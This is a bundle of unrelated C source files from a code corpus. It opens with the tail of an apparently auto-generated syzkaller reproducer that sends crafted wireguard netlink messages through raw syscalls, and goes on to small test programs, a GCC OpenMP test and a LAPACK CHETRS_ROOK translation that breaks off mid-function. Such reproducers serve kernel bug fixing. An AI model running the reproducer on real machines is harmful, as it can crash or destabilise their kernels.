*(uint16_t*)0x20000024 = 0x24; *(uint16_t*)0x20000026 = 1; *(uint8_t*)0x20000028 = 0; *(uint8_t*)0x20000029 = 0; *(uint8_t*)0x2000002a = 0; *(uint8_t*)0x2000002b = 0; *(uint8_t*)0x2000002c = 0; *(uint8_t*)0x2000002d = 0; *(uint8_t*)0x2000002e = 0; *(uint8_t*)0x2000002f = 0; *(uint8_t*)0x20000030 = 0; *(uint8_t*)0x20000031 = 0; *(uint8_t*)0x20000032 = 0; *(uint8_t*)0x20000033 = 0; *(uint8_t*)0x20000034 = 0; *(uint8_t*)0x20000035 = 0; *(uint8_t*)0x20000036 = 0; *(uint8_t*)0x20000037 = 0; *(uint8_t*)0x20000038 = 0; *(uint8_t*)0x20000039 = 0; *(uint8_t*)0x2000003a = 0; *(uint8_t*)0x2000003b = 0; *(uint8_t*)0x2000003c = 0; *(uint8_t*)0x2000003d = 0; *(uint8_t*)0x2000003e = 0; *(uint8_t*)0x2000003f = 0; *(uint8_t*)0x20000040 = 0; *(uint8_t*)0x20000041 = 0; *(uint8_t*)0x20000042 = 0; *(uint8_t*)0x20000043 = 0; *(uint8_t*)0x20000044 = 0; *(uint8_t*)0x20000045 = 0; *(uint8_t*)0x20000046 = 0; *(uint8_t*)0x20000047 = 0; *(uint16_t*)0x20000048 = 6; *(uint16_t*)0x2000004a = 5; *(uint16_t*)0x2000004c = 0x1000; *(uint16_t*)0x20000050 = 0x34; STORE_BY_BITMASK(uint16_t, , 0x20000052, 0, 0, 14); STORE_BY_BITMASK(uint16_t, , 0x20000053, 0, 6, 1); STORE_BY_BITMASK(uint16_t, , 0x20000053, 1, 7, 1); *(uint16_t*)0x20000054 = 0x20; *(uint16_t*)0x20000056 = 4; *(uint16_t*)0x20000058 = 0xa; *(uint16_t*)0x2000005a = htobe16(0x4e20); *(uint32_t*)0x2000005c = htobe32(5); *(uint8_t*)0x20000060 = -1; *(uint8_t*)0x20000061 = 1; *(uint8_t*)0x20000062 = 0; *(uint8_t*)0x20000063 = 0; *(uint8_t*)0x20000064 = 0; *(uint8_t*)0x20000065 = 0; *(uint8_t*)0x20000066 = 0; *(uint8_t*)0x20000067 = 0; *(uint8_t*)0x20000068 = 0; *(uint8_t*)0x20000069 = 0; *(uint8_t*)0x2000006a = 0; *(uint8_t*)0x2000006b = 0; *(uint8_t*)0x2000006c = 0; *(uint8_t*)0x2000006d = 0; *(uint8_t*)0x2000006e = 0; *(uint8_t*)0x2000006f = 1; *(uint32_t*)0x20000070 = 0x1f; *(uint16_t*)0x20000074 = 8; *(uint16_t*)0x20000076 = 3; *(uint32_t*)0x20000078 = 2; *(uint16_t*)0x2000007c = 8; *(uint16_t*)0x2000007e = 3; *(uint32_t*)0x20000080 = 2; *(uint16_t*)0x20000084 = 0x14; *(uint16_t*)0x20000086 = 2; memcpy((void*)0x20000088, "wireguard0\000\000\000\000\000\000", 16); *(uint64_t*)0x20001308 = 0x98; *(uint64_t*)0x20000118 = 1; *(uint64_t*)0x20000120 = 0; *(uint64_t*)0x20000128 = 0; *(uint32_t*)0x20000130 = 0; syscall(__NR_sendmsg, r[0], 0x20000100ul, 0ul); res = syscall(__NR_socket, 0x10ul, 3ul, 0x10ul); if (res != -1) r[2] = res; memcpy((void*)0x20000480, "wireguard\000", 10); res = syz_genetlink_get_family_id(0x20000480); if (res != -1) r[3] = res; *(uint64_t*)0x20001340 = 0; *(uint32_t*)0x20001348 = 0; *(uint64_t*)0x20001350 = 0x20001300; *(uint64_t*)0x20001300 = 0x200004c0; *(uint32_t*)0x200004c0 = 0x4c; *(uint16_t*)0x200004c4 = r[3]; *(uint16_t*)0x200004c6 = 1; *(uint32_t*)0x200004c8 = 0; *(uint32_t*)0x200004cc = 0; *(uint8_t*)0x200004d0 = 1; *(uint8_t*)0x200004d1 = 0; *(uint16_t*)0x200004d2 = 0; *(uint16_t*)0x200004d4 = 0x14; *(uint16_t*)0x200004d6 = 2; memcpy((void*)0x200004d8, "wireguard0\000\000\000\000\000\000", 16); *(uint16_t*)0x200004e8 = 0x24; *(uint16_t*)0x200004ea = 3; *(uint8_t*)0x200004ec = 0xbb; *(uint8_t*)0x200004ed = 0xbb; *(uint8_t*)0x200004ee = 0xbb; *(uint8_t*)0x200004ef = 0xbb; *(uint8_t*)0x200004f0 = 0xbb; *(uint8_t*)0x200004f1 = 0xbb; *(uint8_t*)0x200004f2 = 0xbb; *(uint8_t*)0x200004f3 = 0xbb; *(uint8_t*)0x200004f4 = 0xbb; *(uint8_t*)0x200004f5 = 0xbb; *(uint8_t*)0x200004f6 = 0xbb; *(uint8_t*)0x200004f7 = 0xbb; *(uint8_t*)0x200004f8 = 0xbb; *(uint8_t*)0x200004f9 = 0xbb; *(uint8_t*)0x200004fa = 0xbb; *(uint8_t*)0x200004fb = 0xbb; *(uint8_t*)0x200004fc = 0xbb; *(uint8_t*)0x200004fd = 0xbb; *(uint8_t*)0x200004fe = 0xbb; *(uint8_t*)0x200004ff = 0xbb; *(uint8_t*)0x20000500 = 0xbb; *(uint8_t*)0x20000501 = 0xbb; *(uint8_t*)0x20000502 = 0xbb; *(uint8_t*)0x20000503 = 0xbb; *(uint8_t*)0x20000504 = 0xbb; *(uint8_t*)0x20000505 = 0xbb; *(uint8_t*)0x20000506 = 0xbb; *(uint8_t*)0x20000507 = 0xbb; *(uint8_t*)0x20000508 = 0xbb; *(uint8_t*)0x20000509 = 0xbb; *(uint8_t*)0x2000050a = 0xbb; *(uint8_t*)0x2000050b = 0xbb; *(uint64_t*)0x20001308 = 0x4c; *(uint64_t*)0x20001358 = 1; *(uint64_t*)0x20001360 = 0; *(uint64_t*)0x20001368 = 0; *(uint32_t*)0x20001370 = 0; syscall(__NR_sendmsg, r[2], 0x20001340ul, 0ul); } int main(void) { syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0); do_sandbox_none(); return 0; }
the_stack_data/143611.c
#include<stdio.h> #include<math.h> int main() { int x,y; scanf("%d%d", &x, &y); x=pow(x,y); printf("%d\n",x); return 0; }
the_stack_data/911834.c
int func(void) { return 42; }
the_stack_data/129100.c
/* { dg-do run } */ int x, *p = &x; extern void abort (void); void f1 (int *q) { *q = 1; #pragma omp flush /* x, p, and *q are flushed */ /* because they are shared and accessible */ /* q is not flushed because it is not shared. */ } void f2 (int *q) { #pragma omp barrier *q = 2; #pragma omp barrier /* a barrier implies a flush */ /* x, p, and *q are flushed */ /* because they are shared and accessible */ /* q is not flushed because it is not shared. */ } int g (int n) { int i = 1, j, sum = 0; *p = 1; #pragma omp parallel reduction(+: sum) num_threads(2) { f1 (&j); /* i, n and sum were not flushed */ /* because they were not accessible in f1 */ /* j was flushed because it was accessible */ sum += j; f2 (&j); /* i, n, and sum were not flushed */ /* because they were not accessible in f2 */ /* j was flushed because it was accessible */ sum += i + j + *p + n; } return sum; } int main () { int result = g (10); if (result != 30) abort (); return 0; }
the_stack_data/186942.c
/* f2c.h -- Standard Fortran to C header file */ /** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed." - From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */ #ifndef F2C_INCLUDE #define F2C_INCLUDE #include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimag(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle() continue; #define myceiling(w) {ceil(w)} #define myhuge(w) {HUGE_VAL} //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)} /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* Table of constant values */ static complex c_b1 = {1.f,0.f}; static integer c__1 = 1; /* > \brief \b CHETRS_ROOK computes the solution to a system of linear equations A * X = B for HE matrices us ing factorization obtained with one of the bounded diagonal pivoting methods (f2cmax 2 interchanges) */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* > \htmlonly */ /* > Download CHETRS_ROOK + dependencies */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/chetrs_ rook.f"> */ /* > [TGZ]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/chetrs_ rook.f"> */ /* > [ZIP]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/chetrs_ rook.f"> */ /* > [TXT]</a> */ /* > \endhtmlonly */ /* Definition: */ /* =========== */ /* SUBROUTINE CHETRS_ROOK( UPLO, N, NRHS, A, LDA, IPIV, B, LDB, INFO ) */ /* CHARACTER UPLO */ /* INTEGER INFO, LDA, LDB, N, NRHS */ /* INTEGER IPIV( * ) */ /* COMPLEX A( LDA, * ), B( LDB, * ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > CHETRS_ROOK solves a system of linear equations A*X = B with a complex */ /* > Hermitian matrix A using the factorization A = U*D*U**H or */ /* > A = L*D*L**H computed by CHETRF_ROOK. */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] UPLO */ /* > \verbatim */ /* > UPLO is CHARACTER*1 */ /* > Specifies whether the details of the factorization are stored */ /* > as an upper or lower triangular matrix. */ /* > = 'U': Upper triangular, form is A = U*D*U**H; */ /* > = 'L': Lower triangular, form is A = L*D*L**H. */ /* > \endverbatim */ /* > */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > The order of the matrix A. N >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] NRHS */ /* > \verbatim */ /* > NRHS is INTEGER */ /* > The number of right hand sides, i.e., the number of columns */ /* > of the matrix B. NRHS >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] A */ /* > \verbatim */ /* > A is COMPLEX array, dimension (LDA,N) */ /* > The block diagonal matrix D and the multipliers used to */ /* > obtain the factor U or L as computed by CHETRF_ROOK. */ /* > \endverbatim */ /* > */ /* > \param[in] LDA */ /* > \verbatim */ /* > LDA is INTEGER */ /* > The leading dimension of the array A. LDA >= f2cmax(1,N). */ /* > \endverbatim */ /* > */ /* > \param[in] IPIV */ /* > \verbatim */ /* > IPIV is INTEGER array, dimension (N) */ /* > Details of the interchanges and the block structure of D */ /* > as determined by CHETRF_ROOK. */ /* > \endverbatim */ /* > */ /* > \param[in,out] B */ /* > \verbatim */ /* > B is COMPLEX array, dimension (LDB,NRHS) */ /* > On entry, the right hand side matrix B. */ /* > On exit, the solution matrix X. */ /* > \endverbatim */ /* > */ /* > \param[in] LDB */ /* > \verbatim */ /* > LDB is INTEGER */ /* > The leading dimension of the array B. LDB >= f2cmax(1,N). */ /* > \endverbatim */ /* > */ /* > \param[out] INFO */ /* > \verbatim */ /* > INFO is INTEGER */ /* > = 0: successful exit */ /* > < 0: if INFO = -i, the i-th argument had an illegal value */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date November 2013 */ /* > \ingroup complexHEcomputational */ /* > \par Contributors: */ /* ================== */ /* > */ /* > \verbatim */ /* > */ /* > November 2013, Igor Kozachenko, */ /* > Computer Science Division, */ /* > University of California, Berkeley */ /* > */ /* > September 2007, Sven Hammarling, Nicholas J. Higham, Craig Lucas, */ /* > School of Mathematics, */ /* > University of Manchester */ /* > */ /* > \endverbatim */ /* ===================================================================== */ /* Subroutine */ int chetrs_rook_(char *uplo, integer *n, integer *nrhs, complex *a, integer *lda, integer *ipiv, complex *b, integer *ldb, integer *info) { /* System generated locals */ integer a_dim1, a_offset, b_dim1, b_offset, i__1, i__2; complex q__1, q__2, q__3; /* Local variables */ complex akm1k; integer j, k; real s; extern logical lsame_(char *, char *); complex denom; extern /* Subroutine */ int cgemv_(char *, integer *, integer *, complex * , complex *, integer *, complex *, integer *, complex *, complex * , integer *), cgeru_(integer *, integer *, complex *, complex *, integer *, complex *, integer *, complex *, integer *), cswap_(integer *, complex *, integer *, complex *, integer *); logical upper; complex ak, bk; integer kp; extern /* Subroutine */ int clacgv_(integer *, complex *, integer *), csscal_(integer *, real *, complex *, integer *), xerbla_(char *, integer *, ftnlen); complex akm1, bkm1; /* -- LAPACK computational routine (version 3.5.0) -- */ /* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* November 2013 */ /* ===================================================================== */ /* Parameter adjustments */ a_dim1 = *lda; a_offset = 1 + a_dim1 * 1; a -= a_offset; --ipiv; b_dim1 = *ldb; b_offset = 1 + b_dim1 * 1; b -= b_offset; /* Function Body */ *info = 0; upper = lsame_(uplo, "U"); if (! upper && ! lsame_(uplo, "L")) { *info = -1; } else if (*n < 0) { *info = -2; } else if (*nrhs < 0) { *info = -3; } else if (*lda < f2cmax(1,*n)) { *info = -5; } else if (*ldb < f2cmax(1,*n)) { *info = -8; } if (*info != 0) { i__1 = -(*info); xerbla_("CHETRS_ROOK", &i__1, (ftnlen)11); return 0; } /* Quick return if possible */ if (*n == 0 || *nrhs == 0) { return 0; } if (upper) { /* Solve A*X = B, where A = U*D*U**H. */ /* First solve U*D*X = B, overwriting B with X. */ /* K is the main loop index, decreasing from N to 1 in steps of */ /* 1 or 2, depending on the size of the diagonal blocks. */ k = *n; L10: /* If K < 1, exit from loop. */ if (k < 1) { goto L30; } if (ipiv[k] > 0) { /* 1 x 1 diagonal block */ /* Interchange rows K and IPIV(K). */ kp = ipiv[k]; if (kp != k) { cswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } /* Multiply by inv(U(K)), where U(K) is the transformation */ /* stored in column K of A. */ i__1 = k - 1; q__1.r = -1.f, q__1.i = 0.f; cgeru_(&i__1, nrhs, &q__1, &a[k * a_dim1 + 1], &c__1, &b[k + b_dim1], ldb, &b[b_dim1 + 1], ldb); /* Multiply by the inverse of the diagonal block. */ i__1 = k + k * a_dim1; s = 1.f / a[i__1].r; csscal_(nrhs, &s, &b[k + b_dim1], ldb); --k; } else { /* 2 x 2 diagonal block */ /* Interchange rows K and -IPIV(K), then K-1 and -IPIV(K-1) */ kp = -ipiv[k]; if (kp != k) { cswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } kp = -ipiv[k - 1]; if (kp != k - 1) { cswap_(nrhs, &b[k - 1 + b_dim1], ldb, &b[kp + b_dim1], ldb); } /* Multiply by inv(U(K)), where U(K) is the transformation */ /* stored in columns K-1 and K of A. */ i__1 = k - 2; q__1.r = -1.f, q__1.i = 0.f; cgeru_(&i__1, nrhs, &q__1, &a[k * a_dim1 + 1], &c__1, &b[k + b_dim1], ldb, &b[b_dim1 + 1], ldb); i__1 = k - 2; q__1.r = -1.f, q__1.i = 0.f; cgeru_(&i__1, nrhs, &q__1, &a[(k - 1) * a_dim1 + 1], &c__1, &b[k - 1 + b_dim1], ldb, &b[b_dim1 + 1], ldb); /* Multiply by the inverse of the diagonal block. */ i__1 = k - 1 + k * a_dim1; akm1k.r = a[i__1].r, akm1k.i = a[i__1].i; c_div(&q__1, &a[k - 1 + (k - 1) * a_dim1], &akm1k); akm1.r = q__1.r, akm1.i = q__1.i; r_cnjg(&q__2, &akm1k); c_div(&q__1, &a[k + k * a_dim1], &q__2); ak.r = q__1.r, ak.i = q__1.i; q__2.r = akm1.r * ak.r - akm1.i * ak.i, q__2.i = akm1.r * ak.i + akm1.i * ak.r; q__1.r = q__2.r - 1.f, q__1.i = q__2.i + 0.f; denom.r = q__1.r, denom.i = q__1.i; i__1 = *nrhs; for (j = 1; j <= i__1; ++j) { c_div(&q__1, &b[k - 1 + j * b_dim1], &akm1k); bkm1.r = q__1.r, bkm1.i = q__1.i; r_cnjg(&q__2, &akm1k); c_div(&q__1, &b[k + j * b_dim1], &q__2); bk.r = q__1.r, bk.i = q__1.i; i__2 = k - 1 + j * b_dim1; q__3.r = ak.r * bkm1.r - ak.i * bkm1.i, q__3.i = ak.r * bkm1.i + ak.i * bkm1.r; q__2.r = q__3.r - bk.r, q__2.i = q__3.i - bk.i; c_div(&q__1, &q__2, &denom); b[i__2].r = q__1.r, b[i__2].i = q__1.i; i__2 = k + j * b_dim1; q__3.r = akm1.r * bk.r - akm1.i * bk.i, q__3.i = akm1.r * bk.i + akm1.i * bk.r; q__2.r = q__3.r - bkm1.r, q__2.i = q__3.i - bkm1.i; c_div(&q__1, &q__2, &denom); b[i__2].r = q__1.r, b[i__2].i = q__1.i; /* L20: */ } k += -2; } goto L10; L30: /* Next solve U**H *X = B, overwriting B with X. */ /* K is the main loop index, increasing from 1 to N in steps of */ /* 1 or 2, depending on the size of the diagonal blocks. */ k = 1; L40: /* If K > N, exit from loop. */ if (k > *n) { goto L50; } if (ipiv[k] > 0) { /* 1 x 1 diagonal block */ /* Multiply by inv(U**H(K)), where U(K) is the transformation */ /* stored in column K of A. */ if (k > 1) { clacgv_(nrhs, &b[k + b_dim1], ldb); i__1 = k - 1; q__1.r = -1.f, q__1.i = 0.f; cgemv_("Conjugate transpose", &i__1, nrhs, &q__1, &b[b_offset] , ldb, &a[k * a_dim1 + 1], &c__1, &c_b1, &b[k + b_dim1], ldb); clacgv_(nrhs, &b[k + b_dim1], ldb); } /* Interchange rows K and IPIV(K). */ kp = ipiv[k]; if (kp != k) { cswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } ++k; } else { /* 2 x 2 diagonal block */ /* Multiply by inv(U**H(K+1)), where U(K+1) is the transformation */ /* stored in columns K and K+1 of A. */ if (k > 1) { clacgv_(nrhs, &b[k + b_dim1], ldb); i__1 = k - 1; q__1.r = -1.f, q__1.i = 0.f; cgemv_("Conjugate transpose", &i__1, nrhs, &q__1, &b[b_offset] , ldb, &a[k * a_dim1 + 1], &c__1, &c_b1, &b[k + b_dim1], ldb); clacgv_(nrhs, &b[k + b_dim1], ldb); clacgv_(nrhs, &b[k + 1 + b_dim1], ldb); i__1 = k - 1; q__1.r = -1.f, q__1.i = 0.f; cgemv_("Conjugate transpose", &i__1, nrhs, &q__1, &b[b_offset] , ldb, &a[(k + 1) * a_dim1 + 1], &c__1, &c_b1, &b[k + 1 + b_dim1], ldb); clacgv_(nrhs, &b[k + 1 + b_dim1], ldb); } /* Interchange rows K and -IPIV(K), then K+1 and -IPIV(K+1) */ kp = -ipiv[k]; if (kp != k) { cswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } kp = -ipiv[k + 1]; if (kp != k + 1) { cswap_(nrhs, &b[k + 1 + b_dim1], ldb, &b[kp + b_dim1], ldb); } k += 2; } goto L40; L50: ; } else { /* Solve A*X = B, where A = L*D*L**H. */ /* First 